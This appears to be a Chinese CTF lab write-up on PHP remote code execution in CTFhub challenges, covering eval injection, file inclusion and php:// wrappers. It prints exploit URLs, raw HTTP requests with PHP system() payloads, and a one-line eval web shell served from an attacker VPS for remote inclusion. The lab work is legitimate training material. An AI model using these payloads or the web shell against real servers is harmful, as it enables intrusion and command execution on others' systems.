CTFhub靶场RCE学习

 靶场

eval执行 

<?php
if (isset($_REQUEST['cmd'])) {eval($_REQUEST["cmd"]);
} else {highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 ?cmd=system("ls");
!切记最后的分号不可省略! 

 看看上一级的文件夹 /?cmd=system("ls%20/");

 打开flag文件发现FLAG/?cmd=system("cat%20/flag_910");

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?

这里有一个strpos(string,find,start)函数

意思在string字符串中找find的位置,start是查找的开始位置

那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]

否则就输出Hacker。

再看一眼shell

是将ctfhub传的参数用php执行

题目的目的也是让我们执行shell木马那么我们就输入

?file=shell.txt

shell中要传的参数为ctfhub=system("ls");

直接使用hackbar

php://input

<?php
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

这道题要做的事情就是,找到flag文件存储的存储的位置,然后,读取。这样的话,应该是需要命令执行的漏洞。此时php://input有一个

 POC

POST /?file=php://input HTTP/1.1
Host: challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24<?php system("ls /"); ?>

成功执行直接读取flag

OK

 远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

这关其实比较简单,直接远程包含文件就可以

POC

?file=http://127.0.0.1/upload/poc.txt

 文件包含嘛,那就是直接解析执行

<?php system('ls');?>
<?php system('ls /');?>
<?php system('cat /flag');?>

成功读取flag

ctfhub{b18f73d52a985977e0dcfe05}

方法一:PHP://input

检查网页显示内容,网页源代码显示的和之前的类似,一眼可以看出可能含有文件包含。

检查 phpinfo 环境配置信息页面,检查 allow 的两个选项是否开放。可以看到这两个功能都是开放的。

使用 burpsuite 抓包工具抓取网页 url 并重放。#这里要使用get请求

POC

GET /?file=php://input HTTP/1.1
Host: challenge-e9b8fabf7afaf188.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 23<?php system('ls /');?>

成功读取

        

0x2 方法二:服务器执行

为了方便管理,在服务器中创建一个 payload 文件夹。

mkdir payload
        

打开 payload 文件夹,并在文件中使用 vim 编辑器编写一个一句话木马。

<?php @eval($_POST[CTFhub]); ?>
        

使用 python 启动 http 服务,用于后续执行远程文件包含。

python3 -m http.server 8000
        

在本地浏览器总访问 shell.txt 文件路径检查一句话木马是否可用,发现可用正常使用。

         

使用蚁剑连接到自己服务器中的 shell.txt 文件。

http://challenge-688a4674920fa2f5.sandbox.ctfhub.com:10800/?file=http://VPS:8000/payload/shell.txt

 检查网页内容发现此题 flag 。

读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag

题目要求又必须使用php://。而且flag就在/flag里。

这里引入另一个php伪协议。php://filter。附上使用方法:

大佬给的解题思路

/?file=php://filter/resource=/flag

POC

GET /?file=php://filter/resource=/flag HTTP/1.1
Host: challenge-068a53e318ea452d.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59464.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云计算研究实训室建设方案

一、引言 随着云计算技术的迅速发展和广泛应用&#xff0c;职业院校面临着培养云计算领域专业人才的迫切需求。本方案旨在构建一个先进的云计算研究实训室&#xff0c;为学生提供一个集理论学习、实践操作、技术研发与创新于一体的综合性学习平台&#xff0c;以促进云计算技术…

MQ集群

目录 MQ集群 集群分类 普通集群 集群结构和特征 集群的部署 获取cookie 准备集群配置 启动集群 镜像模式 镜像模式的特征 镜像模式的配置 exactly模式 仲裁队列 集群特征仲裁队列&#xff1a;仲裁队列是3.8版本以后才有的新功能&#xff0c;用来替代镜像队列&#…

UE5.2 C++ 实现拍照功能-带UI截图

整理了下&#xff0c;结合知乎上的一篇分享和自己的理解&#xff0c;最后总结出的一份带UI截图的代码&#xff0c;因为开发时间跨度有点大&#xff0c;中间有几天去玩游戏了&#xff0c;忘记之前参考的网页了&#xff0c;如果有知道的&#xff0c;欢迎留言补充。 头文件&#…

券商隔夜单自动下单交易接口

之前研究打板排板&#xff0c;研究怎么才能买得进去。 最近遇到几只利空跌停板&#xff0c;缩量跌停&#xff0c;明天大概率继续一字封板跌停。 如果卖不掉&#xff0c;意味着还要继续吃几个跌停&#xff0c;甚至ST票十几个跌停都有可能。 一次跌停亏几万&#xff0c;还是挺…

spi 回环

///tx 极性0 &#xff08;sclk信号线空闲时为低电平&#xff09; /// 相位0 (在sclk信号线第一个跳变沿进行采样) timescale 1ns / 1ps//两个从机 8d01 8d02 module top(input clk ,input rst_n,input [7:0] addr ,input …

基于物联网的温室大棚控制系统

本设计采用物联网方案&#xff0c;用STM32f103c8t6作为主控芯片&#xff0c;采用DHT11作为温湿度传感器&#xff0c;采集CO2使用JW01-CO2-V2.2传感器模块&#xff0c;并且通过BH1750传感器模块采集光照&#xff0c;通过土壤湿度传感器来获取大棚内部土壤湿度&#xff0c;ESP-01…

初级数据结构——栈

目录 前言一、栈的基本概念二、栈的实现方式三、栈的性能分析四、栈的应用场景五、栈的变体六、出栈入栈的动态图解七、代码模版八、总结结语 前言 数据结构栈&#xff08;Stack&#xff09;是一种线性的数据结构&#xff0c;它只允许在序列的一端&#xff08;称为栈顶&#x…

信号-3-信号处理

main 信号捕捉的操作 sigaction struct sigaction OS不允许信号处理方法进行嵌套&#xff1a;某一个信号正在被处理时&#xff0c;OS会自动block改信号&#xff0c;之后会自动恢复 同理&#xff0c;sigaction.sa_mask 为捕捉指定信号后临时屏蔽的表 pending什么时候清零&…

OpenSSL 自签名

参考文档&#xff1a;unigui开发人员工作手册2021 参考文章&#xff1a;保姆级OpenSSL下载及安装教程-CSDN博客 下载 Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 进入后向下拉找到下载位置&#xff0c;建议下载二进制版本的精简版&#xff0c…

Facebook 广告不展示的原因以及解决方法

很多小伙伴在进行Facebook广告投放时会遇到广告不展示的情况&#xff0c;那么遇到这种情况该怎么分析问题并解决呢&#xff1f;本文将为大家揭晓答案。 1. 主页错误或未发布 问题&#xff1a;主页可能存在错误或未正式发布。 解决方案&#xff1a;停用并重新激活主页。 访…

前端vue 列表中回显并下拉选择修改标签

1&#xff0c;vue数据列表中进行回显状态并可以在下拉框中选择修改&#xff0c;效果如下 2&#xff0c;vue 页面关键代码 <el-table-column label"审核" align"center" class-name"small-padding fixed-width" prop"status" >&…

安全见闻 -- 二进制与网络安全的关系

声明&#xff1a; 本文的学习内容来源于B站up主“泷羽sec”的公开分享&#xff0c;所有内容仅限于网络安全技术的交流学习&#xff0c;不涉及任何侵犯版权或其他侵权意图。如有任何侵权问题&#xff0c;请联系本人&#xff0c;我将立即删除相关内容。 本文旨在帮助网络安全爱好…

Spark 读取 HDFS 文件时 RDD 分区数的确定原理与源码分析

在 Spark 中&#xff0c;RDD 的分区数对于并行计算的效率非常重要&#xff0c;SparkCore 读取 HDFS 文件时 RDD 分区数的确定受多方面因素的影响。本文将从源码的角度分析 Spark 如何确定 RDD 分区数&#xff0c;并通过代码示例和案例帮助理解分区策略。 Spark RDD 分区数确定…

Python | Leetcode Python题解之第559题N叉树的最大深度

题目&#xff1a; 题解&#xff1a; class Solution:def maxDepth(self, root: Node) -> int:if root is None:return 0ans 0queue [root]while queue:queue [child for node in queue for child in node.children]ans 1return ans

Python 中.title()函数和.lower()函数

一.title()函数 1.title()函数的功能 将字符串中的每一单词的首字母大写 2.举例 S1"i love you" S2S1.title() print(S2)3.输出 二.lower()函数 1.lower()函数的功能 将字符串中的每一大写字母都变成的小写字母 2.举例 S1"I LOVE YOU" S2S1.lower()…

变更docker服务的存储路径

需求问题 docker服务默认存储路径是 /var/lib/docker 长时间写入文件的话有可能会写满磁盘。 1、停止容器服务&#xff0c;迁移数据 变更docker服务存储路径 在/etc/docker/daemon.json下加入配置文件即可&#xff0c;提前把/var/lib/docker下的文件全部都复制到新的存储目录…

STM32问题集

这里写目录标题 一、烧录1、 Can not connect to target!【ST-LINK烧录】 一、烧录 1、 Can not connect to target!【ST-LINK烧录】 烧录突然 If the target is in low power mode, please enable “Debug in Low Power mode” option from Target->settings menu 然后就&…

MySQL与Oracle对比及区别

一、比较 1、MySQL的特点 性能卓越&#xff0c;服务稳定&#xff0c;很少出现异常宕机&#xff1b; 开放源代码无版本制约&#xff0c;自主性及使用成本低&#xff1b; 历史悠久&#xff0c;社区和用户非常活跃&#xff0c;遇到问题及时寻求帮助&#xff1b; 软件体积小&#…

MySQL数据库:SQL语言入门 【2】(学习笔记)

目录 2&#xff0c;DML —— 数据操作语言&#xff08;Data Manipulation Language&#xff09; &#xff08;1&#xff09;insert 增加 数据 &#xff08;2&#xff09;delete 删除 数据 truncate 删除表和数据&#xff0c;再创建一个新表 &#xff08;3&#xf…

部署安装jdk8\redis\mysql8\nginx

安装jdk8 linux安装jdk8详细步骤_linux jdk8安装-CSDN博客 安装redis 安装redis 后台启动命令 cd /ra/redis-6.0.0/src ./redis-server --daemonize yes安装mysql8.0&#xff08;自定义目录安装&#xff09; 1、创建自己的mysql-8.0&#xff0c;解压mysql安装包 tar -zxv…